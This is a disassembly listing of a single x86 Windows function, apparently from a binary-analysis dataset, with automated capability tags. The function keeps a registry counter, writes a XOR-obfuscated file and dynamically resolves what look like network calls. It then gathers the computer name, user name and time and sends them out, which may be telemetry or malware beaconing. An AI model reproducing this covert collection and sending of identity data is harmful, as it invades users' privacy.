Function at 0x556090
Capabilities:
Clear file content
Encode data using xor
Get hostname
Get session user name
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push 0x5f1dc4
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x20]
call fcn.00559f50
add esp, 4
push eax
push esi
call fcn.00555120
add esp, 8
lea eax, [esp + 0x24]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x5f1d8c
xor bl, bl
call fcn.00559f50
add esp, 4
push eax
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x55622f
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
cmp eax, 2
jne 0x5561a1
lea edx, [esp + 0x14]
lea eax, [esp + 0x40]
push edx
push eax
push 0
push 0
push 0x5f1d78
mov dword [esp + 0x28], 0x40
call fcn.00559f50
mov ecx, dword [esp + 0x2c]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 4
push eax
push ecx
call ebp
push str.Wed_May__3_17:31:35_2006
lea edx, [esp + 0x84]
push 0x5f1d74
push edx
call edi
mov eax, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x556176
lea eax, [esp + 0x80]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x556176
mov bl, 1
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0x5f1d64
mov dword [esp + 0x28], 4
call fcn.00559f50
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push str.Wed_May__3_17:31:35_2006
lea edx, [esp + 0x44]
push 0x5f1d74
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
lea ecx, [esp + 0x40]
push eax
push ecx
push 1
push 0
push 0x5f1d50
mov dword [esp + 0x28], eax
call fcn.00559f50
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x14], 4
je 0x5561fc
inc dword [esp + 0x10]
jmp 0x556204
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push 0x5f1d64
call fcn.00559f50
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x55667a
cmp eax, 5
ja 0x55667a
test bl, bl
je 0x556256
cmp dword [0x89401c], 9
jge 0x55667a
push 0x5f1d40
call fcn.00559f50
add esp, 4
push eax
push esi
call fcn.00555120
mov eax, dword [esi]
add esp, 8
cmp eax, 0xffffffff
je 0x5563a9
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esi + 0x1034]
test eax, eax
je 0x55629e
mov ecx, dword [esi + 0x1038]
cmp ecx, eax
mov eax, 0x5f10cc
ja 0x5562a3
mov eax, 0x89408c
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0x5f1074
lea ebp, [esi + 0x1c]
call fcn.00559ee0
add esp, 4
push eax
push ebp
call fcn.0056aefc
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1030]
not ecx
dec ecx
test eax, eax
je 0x556345
test ecx, ecx
jle 0x556373
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x1030]
add edx, 2
mov dword [esi + 0x1030], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [edi + eax]
cmp edx, ecx
jl 0x556323
jmp 0x556373
test ecx, ecx
jle 0x556373
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x102c]
lea edx, [edx + edx*2 + 1]
mov dword [esi + 0x102c], edx
mov bl, byte [eax]
add dl, 0x76
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [eax + edi]
cmp edx, ecx
jl 0x556352
cmp dword [esi + 0x1034], 0x3e7
je 0x556391
lea eax, [esp + 0x20]
push 0
push eax
push ecx
mov ecx, dword [esi]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0xffffffff
mov ecx, 0x893e08
call fcn.005586b0
test eax, eax
jne 0x5563d7
push 0x5f1d30
call fcn.00559f50
add esp, 4
mov ecx, 0x893e08
push eax
call fcn.005584a0
test eax, eax
je 0x55667a
push 0x5f1d1c
call fcn.00559f50
add esp, 4
mov ecx, 0x893e08
push eax
call fcn.005586b0
push eax
call fcn.005573f0
push 0x5f1d04
mov esi, eax
call fcn.00559f50
add esp, 4
mov ecx, 0x893e08
push eax
call fcn.005586b0
push eax
call fcn.005573f0
push 0x5f1cec
mov edi, eax
call fcn.00559f50
add esp, 4
mov ecx, 0x893e08
push eax
call fcn.005586b0
push eax
call fcn.005573f0
push 0x5f1cdc
mov ebp, eax
call fcn.00559f50
add esp, 4
mov ecx, 0x893e08
push eax
call fcn.005586b0
push eax
call fcn.005573f0
test esi, esi
mov dword [esp + 0x20], eax
je 0x55667a
test edi, edi
je 0x55667a
test ebp, ebp
je 0x55667a
test eax, eax
je 0x55667a
push 0
push 0
push 0
push 0
push 0x5f1cd0
call fcn.00559ee0
add esp, 4
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x55667a
push 0
push 0x8000000
push 1
push 0x5f1c9c
call fcn.00559f50
add esp, 4
push eax
push 0x5f1c90
call fcn.00559ee0
add esp, 4
push eax
push 0x17ac
push 0x5f1c7c
call fcn.00559ee0
add esp, 4
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x5564ea
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x140]
mov edi, 0x80
push ecx
push edx
mov byte [esp + 0x148], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc0]
push eax
push ecx
mov byte [esp + 0xc8], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [0x89401c]
cmp eax, 1
jne 0x556549
push 0x5f1c70
jmp 0x5565ae
cmp eax, 2
jne 0x556555
push 0x5f1c64
jmp 0x5565ae
cmp eax, 3
jne 0x556561
push 0x5f1c5c
jmp 0x5565ae
cmp eax, 4
jne 0x55656d
push 0x5f1c50
jmp 0x5565ae
cmp eax, 5
jne 0x556579
push 0x5f1c44
jmp 0x5565ae
cmp eax, 6
jne 0x556585
push 0x5f1c34
jmp 0x5565ae
cmp eax, 7
jne 0x556591
push 0x5f1c28
jmp 0x5565ae
cmp eax, 8
jne 0x55659d
push 0x5f1c1c
jmp 0x5565ae
cmp eax, 9
jne 0x5565a9
push 0x5f1c10
jmp 0x5565ae
push 0x5f1c08
call fcn.00559ee0
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3a]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3e]
push ecx
mov ecx, dword [esp + 0x40]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x1228]
add ecx, 0x1200
push edx
lea edx, [esp + 0xe0]
push edx
lea edx, [esp + 0x164]
push edx
mov edx, dword [0x894054]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x2f
push ecx
push 0x5f1bac
call fcn.00559f50
add esp, 4
push eax
lea eax, [esp + 0x1fc]
push 0x104
push eax
call fcn.0056d31f
add esp, 0x44
lea ecx, [esp + 0x1c0]
push 0
push 0x4000002
push ecx
push 0x893cfc
push esi
call dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret